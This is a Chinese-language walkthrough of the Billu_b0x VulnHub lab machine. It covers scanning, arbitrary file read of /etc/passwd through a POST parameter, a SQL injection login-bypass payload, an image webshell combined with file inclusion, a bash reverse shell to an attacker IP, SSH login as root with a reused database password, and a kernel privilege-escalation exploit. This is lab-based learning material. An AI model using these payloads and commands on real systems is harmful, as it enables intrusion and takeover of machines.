VulnHub-Bilu_b0x靶机笔记

news2024/9/19 22:20:09

Bilu_b0x 靶机

概述

Vulnhub 的一个靶机,包含了 sql 注入,文件包含,代码审计,内核提权。整体也是比较简单的内容,和大家一起学习

Billu_b0x.zip 靶机地址:

https://pan.baidu.com/s/1VWazR7tpm2xJZIGUSzFvDw?pwd = u785

提取码: u785

一、nmap 扫描

1)主机发现

sudo nmap -sn 192.168.84.0/24

-sn 参数在 root 权限下会发送 icmp 、 arp、SYN 扫描包,而在不同用户权限下只会发送 icmp 扫描包

Nmap scan report for 192.168.84.129
Host is up (0.00045s latency).
MAC Address: 00:0C:29:41:BD:2B (VMware)

看到 192.168.84.129 为新增加 ip

2)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 facfa252c4faf575a7e2bd60833e7bde (DSA)
|   2048 88310c789880ef33fa2622edd09bbaf8 (RSA)
|_  256 0e5e330350c91eb3e75139a44a1064ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: --==[[IndiShell Lab]]==--
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 00:0C:29:41:BD:2B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 15:32:28 2024 -- 1 IP address (1 host up) scanned in 6.64 seconds

3)默认脚本扫描

nmap --script=vuln -p22,80 -o vuln 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00036s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:41:BD:2B (VMware)

# Nmap done at Wed Sep 18 15:33:45 2024 -- 1 IP address (1 host up) scanned in 30.92 seconds

二、web 渗透

打开 80 端口

image-20240918194947354

看到它让我展示 sqli skill 这肯定是存在 sql 注入漏洞了。

尝试了比较简单的注入,发现并没有什么用。也查看了源码等信息。

1)目录爆破

sudo gobuster dir -u http://192.168.84.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
==============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 3267]
/images               (Status: 301) [Size: 317] [--> http://192.168.84.129/images/]
/c                    (Status: 200) [Size: 1]
/show                 (Status: 200) [Size: 1]
/add                  (Status: 200) [Size: 307]
/test                 (Status: 200) [Size: 72]
/in                   (Status: 200) [Size: 47526]
/head                 (Status: 200) [Size: 2793]
/uploaded_images      (Status: 301) [Size: 326] [--> http://192.168.84.129/uploaded_images/]
/panel                (Status: 302) [Size: 2469] [--> index.php]
/head2                (Status: 200) [Size: 2468]
/server-status        (Status: 403) [Size: 295]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

全部打开看看

a) add 页面

image-20240918200206032

尝试上传正常的文件,当没什么反应

b) in

phpinfo()的页面,暴露了一些敏感的信息,需要的话可以回来看

在这里插入图片描述

c) test 页面

image-20240918200339629

他说我们缺少一个 file 参数,看到 file 参数,肯定会想要测试文件包含导致的任意文件读取。

给他拼接参数

192.168.84.129/test?file=./index.php

image-20240918200834768

看来不是 GET 参数,尝试 POST 请求。

curl -X POST -d "file=/etc/passwd" http://192.168.84.129/test

image-20240918204711178

看到有结果返回,说明存在文件的任意读取漏洞,这里看一下 /etc/shadow,没有访问权限

2)代码审计

a)index 审计

index.php 页面看到它的挑衅,我们看看源码,给它注入进去(白盒还想难到我__

curl -X POST -d "file=./index.php" http://192.168.84.129/test
<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
        $_SESSION['logged']='';

}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{

        echo "you are logged in :)";
        header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
        $uname=str_replace('\'','',urldecode($_POST['un']));
        $pass=str_replace('\'','',urldecode($_POST['ps']));
        $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
        $result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
           echo "You are allowed<br>";
           $_SESSION['logged']=true;
           $_SESSION['admin']=$row['username'];

         header('Location: panel.php', true, 302);

}
else
{
        echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

在 30-33 行看到处理登陆的逻辑

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

看到语句的过滤只对单引号 进行了过滤,构造语句

当输入正常的 pass=1234uname=zhang 时,最终的 sql 语句会成为这个样子

select * from auth where pass='1234' and uname='zhang';

开始构造

pass=1234 \uname= zhang

此时 sql 语句会变成

select * from auth where pass='1234 \' and uname='zhang';

看到 pass 的值变为了 1234 \' and uname= , uname 参数的字符串逃逸了出来,变成了可执行的 sql 语句

最终 payload

pass=1234 \uname= or 1=1 --+

select * from auth where pass='1234 \' and uname='or 1=1 -- ';

image-20240919120202341

为了方便大家观看,我把前段的 password 属性改为了 text

看到登陆成功

image-20240919120319909

默认跳转了 panel.php

b)panel 审计

默认跳转到了 panel.php 页面,而这个页面上也有一些我们感兴趣的功能。

看到它有一个添加用户的接口,可以允许我们上传文件

image-20240919120607623

点击上传,我们当时目录爆破时看到了一个 uploaded_images 目录,这个目录我们有理由猜测他就是文件上传的目录

查看一下

image-20240919121219049

看到了我们上传的 test.jpg 文件

查看 panel.php 源码

它有上传的功能,我们能看到它的源码,肯定要去看一下它的上传逻辑的过滤情况,审计一下会不会出一些对我们有用的漏洞

curl -X POST -d "file=./panel.php" http://192.168.84.129/test -o panel.php
<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
	}
}
}
?>

看到代码在包含 load 参数的文件时,在 load != add && load != show 时会自动去 include 其他参数的文件

在这里插入图片描述

而在上传的逻辑中,它采用了白名单的方式,我们并不好绕过,可以尝试上传图片马结合文件包含的方式 getshell

三、获得立足点

image-20240919131412183

构造图片马

wget http://192.168.84.129/uploaded_images/jack.jpg    
vim jack.jpg

image-20240919141241552

我们上传上去尝试获得立足点

改个名字吧

mv jack.jpg lingx5.jpg

image-20240919133507583

上传成功

在这里插入图片描述

打开 burpsuite 捕获一下这个请求,点击 continue 捕获

image-20240919134138766

看到

image-20240919134200250

我们发送到 repeater 模块重放测试,更改 load 参数的值,GET 参数对特殊字符做 url 编码

POST /panel.php?cmd=ip+a  HTTP/1.1

在这里插入图片描述

看到 ip a 命令被正常执行,尝试反弹 shell

bash -c "bash -i >& /dev/tcp/192.168.84.128/4444 0>&1"

url 编码

POST /panel.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.84.128/4444+0>%261" 

image-20240919141836206

获得了立足点

四、提权

1)信息收集提权

image-20240919142147381

看到我们没有目录爆破出来的目录 phpmy,进去看一看

image-20240919165945608

看到 config 配置文件,我们的兴趣肯定是最大的,进去查看

在 config 文件中看到数据库的用户和密码

image-20240919170926613

我们有理由怀疑数据库的密码和机器用户的密码是一个

尝试碰撞一下 ssh

凭据 root:roottoor

sudo ssh root@192.168.84.129 

看到命令提示符为 root

image-20240919174147620

2)利用内核提权

内核提权不建议用,因为有太多的不确定因素,很容易导致系统崩溃。

www-data 用户下,用命令 uname -a 查看系统的版本信息

image-20240919174700992

看到内核版本为 linux 3.13.0

在漏洞库中搜索内核的公开漏洞

searchsploit kernel 3.13.0

image-20240919175025271

看到了两个符合版本的提权漏洞,下载下来

searchsploit kernel 3.13.0 -m 37292
searchsploit kernel 3.13.0 -m 37293

上传到靶机,到 /tmp 目录下,这个目录是所有用户都有写权限的

image-20240919181203171

查看 37292.c 的内容,里面的注释会教我们怎么利用

image-20240919181535335

跟着操作

image-20240919181712742

成功提权到 root

这里的提权我本来还想尝试 udf 提权的,但是它的 phpmyadmin 的后台我登录不进去。应该是机器在 mysql 的配置文件做了一些安全配值,这里没办法登陆,所以就没有进行

总结

  • 我们首先对机器进行了 nmap 的基本扫描,在扫描的信息中发现 22,80 端口是暴露的,我们首先对 web 页面进行渗透测试。
  • web 首页他就告诉我们存在 sql 注入,但是我们不知道过滤规则。进行了目录爆破,在爆破出来的文件目录中发现了 test 文件有一个 file 参数,指定文件和路径可以查看源码信息。
  • 对 index.php 页面进行代码审计,成功利用 sql 注入,登陆进入系统。对 panel 进行代码审计,发现了一个文件包含漏洞,通过上传图片马与文件包含的结合利用成功获得系统立足点
  • 提权操作
    • 通过对 phpmy 目录信息的查看,我们发现了 mysql 数据库的用户名和密码信息,进行 ssh 撞库提权到了 root
    • 通过对内核漏洞 CVE-2015-1328 的利用成功提权到 root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2147160.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java Web服务运行一段时间后出现cpu升高导致的性能下降问题排查

背景 有个web服务&#xff0c;运行一段时间后&#xff0c;出现cpu逐渐占用高&#xff0c;服务处理请求整体性能下降问题。 异常情况时&#xff0c; 同时jvm的cpu上涨 最终表现为&#xff0c;处理内部逻辑执行耗时变高。 排查原因 原来服务的jvm启动参数带了 -XX:-TieredCom…

云上办公项目总结

云尚办公系统是一套自动办公系统&#xff0c;系统主要包含&#xff1a;管理端和员工端 管理端包含&#xff1a;权限管理、审批管理、公众号菜单管理 员工端采用微信公众号操作&#xff0c;包含&#xff1a;办公审批、微信授权登录、消息推送等功能 项目服务器端架构&#xff…

动手学习RAG:大模型重排模型 bge-reranker-v2-gemma微调

动手学习RAG: 向量模型动手学习RAG: moka-ai/m3e 模型微调deepspeed与对比学习动手学习RAG&#xff1a;rerank模型微调实践 bge-reranker-v2-m3动手学习RAG&#xff1a;迟交互模型colbert微调实践 bge-m3动手学习RAG: 大模型向量模型微调 intfloat/e5-mistral-7b-instruct动手学…

光伏业务管理系统:全流程管理成重点

一、光伏业务管理的挑战 光伏业务管理涉及项目规划、设计选型、施工建设、运营维护、数据分析等多个环节&#xff0c;每一个环节都直接关系到项目的经济性、安全性和可持续性。传统的管理方式往往存在信息不对称、流程不透明、响应速度慢等问题&#xff0c;难以适应光伏产业快…

现在市场上有哪些大模型?什么样的大模型适合国内企业?

从23年ChatGPT爆火以来&#xff0c;国内各大厂商也争先入局&#xff0c;国内大模型发展也经历了“百模大战”&#xff0c;截止最新已经发展到了180多个大模型&#xff0c;在大模型发展上&#xff0c;国内正在奋起直追&#xff0c;国内外第一梯队大模型在中文领域的通用能力差距…

基于ssm的本科生毕业设计选题系统的设计与实现

需要项目源码请联系我&#xff0c;目前有各类成品 毕设 javaweb ssh ssm springboot等等项目框架&#xff0c;源码丰富。 专业团队&#xff0c;咨询就送开题报告&#xff0c;活动限时免费&#xff0c;有需要的朋友可以来留言咨询。 一、摘要 随着高校信息化管理系统平台的广泛…

行业大模型落地提速释放新动力

中国科学院地球化学研究所与阿里云联合发布国际首个月球科学多模态专业大模型&#xff0c;京东云带来了代表性的大模型数字人的展示与互动&#xff0c;济南市选择大模型产业链打造“大模型创新工厂”&#xff0c;以奇安信、360等为代表的安全厂商带来了“AI安全”的行业大模型产…

Android中SharedPreferences 的基本使用

1.SharedPreferences简介 SharedPreferences 是 Android 平台为应用开发者提供的一个轻量级的存储辅助类&#xff0c;用来保存应用的一些常用配置&#xff0c;它提供了 putString()、putString(Set<String>)、putInt()、putLong()、putFloat()、putBoolean() 六种数据类…

线程池的状态

线程池的状态分为&#xff1a;Running(运行状态)、Shutdown(关闭状态)、Stop(停止状态)、Tidying(整理状态)、Terminated(终止状态)。 Running(运行状态)&#xff1a;线程池被创建时&#xff0c;就是Running状态&#xff0c;线程池中的任务数位0。 该状态会接受新任务&#xf…

CO82-工單號碼段配置

可以通過CO82查看工單號碼段。 配置工單號碼段&#xff1a; 1、首先配置一個號碼段。 2、將工單類型分配給號碼段。 此時工單類型ZP01號碼段即為41W000000-41W999999 3、可以點擊概覽按鈕&#xff0c;查看概覽。 可以看到不同號碼段下的所有工單類型。 *然後在前台就可以對Z…

软件测试知识详解

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 1、黑盒测试、白盒测试、灰盒测试 1.1 黑盒测试 黑盒测试又叫功能测试、数据驱动测试 或 基于需求规格说明书的功能测试。该类测试注重于测试软件的功能性需求。…

华为OD机试 - 打印机队列 - 优先队列(Python/JS/C/C++ 2024 E卷 200分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试真题&#xff08;Python/JS/C/C&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;私信哪吒&#xff0c;备注华为OD&#xff0c;加入华为OD刷题交流群&#xff0c;…

阻止冒泡事件

每一div都有一个切换事件 div里包括【复制】事件&#xff0c; 点击【复制按钮】&#xff0c;会触发【切换事件】 因为冒泡 在 Vue 3 中&#xff0c;阻止 click 事件冒泡可以使用以下常规方法&#xff1a; 1 事件修饰符&#xff1a;Vue 3 中提供了多种事件修饰符&#xff0c…

Java入门:09.Java中三大特性(封装、继承、多态)02

2 继承 需要两个类才能实现继承的效果。 比如&#xff1a;类A 继承 类B A类 称为 子类 &#xff0c; 衍生类&#xff0c;派生类 B类 称为 父类&#xff0c;基类&#xff0c;超类 继承的作用 子类自动的拥有父类的所有属性和方法 &#xff08;父类编写&#xff0c;子类不需要…

实验2 Linux文件系统常用操作实践

实验2 Linux文件系统常用操作实践 一、实验介绍 本节实验通过实战Linux文件操作模块的基本操作,需要先掌握linux文件系统的原理以及理解linux文件操作的原理,最后通过实操完成linux文件操作的命令,其中包括改变目录、创建目录及文件、删除文件、复制文件、文件移动和改名、查…

BPG的定义和工作原理是什么?

在当今互联网中&#xff0c;网络通信的关键角色之一是BGP&#xff08;边界网关协议&#xff09;。BGP是一种路由矢量协议&#xff0c;负责在自治系统之间交换路由信息&#xff0c;并帮助数据包找到通过网络的理想链路。本文将介绍BGP、BGP4和BGP4&#xff0c;以及它们在网络中的…

记录生产环境,通过域名访问的图片展示不全,通过ip+端口的方式访问图片是完整的

原因&#xff1a;部署nginx的服务器硬盘满了 排查发现nginx日志文件占用了大量硬盘 解决方案&#xff1a; 删除该文件&#xff0c;重启nginx服务&#xff0c;问题解决。

郑重申明《数据资产管理核心技术与应用》一书在拼多多上被盗版售卖,恳请大家支持正版和作者的著作权权益

《数据资产管理核心技术与应用》是清华大学出版社出版的一本图书&#xff0c;作者为张永清等著&#xff0c;近期我本人在拼多多上很多不同的店铺中都买到了这本书的盗版版本&#xff0c;购书的原因是想从市场上购买一批本书送给忠实的读者和身边的朋友&#xff0c;但是发现买到…

pdf图片怎么提取出来?这6个pdf图片提取工具全搞定,值得推荐!

在我们的日常办公和学习中&#xff0c;pdf文件成为了信息传递的重要载体。然而&#xff0c;有时我们在pdf文档中发现一些精彩的图片&#xff0c;想将其提取出来供个人使用或分享给他人。无论是为了更灵活的处理&#xff0c;还是为了发送特定的图像&#xff0c;提取pdf中的图片都…

使用streaming-json-py插件处理JSON数据流:详细指南

目录 一、streaming-json-py简介 二、安装与配置 三、基本使用 示例1:处理不完整的JSON对象 示例2:处理不完整的JSON数组 四、高级用法 实时数据流分析 日志处理 五、性能优化与错误处理 六、总结与展望 在数据驱动的现代社会,实时处理数据流已成为许多应用和服务…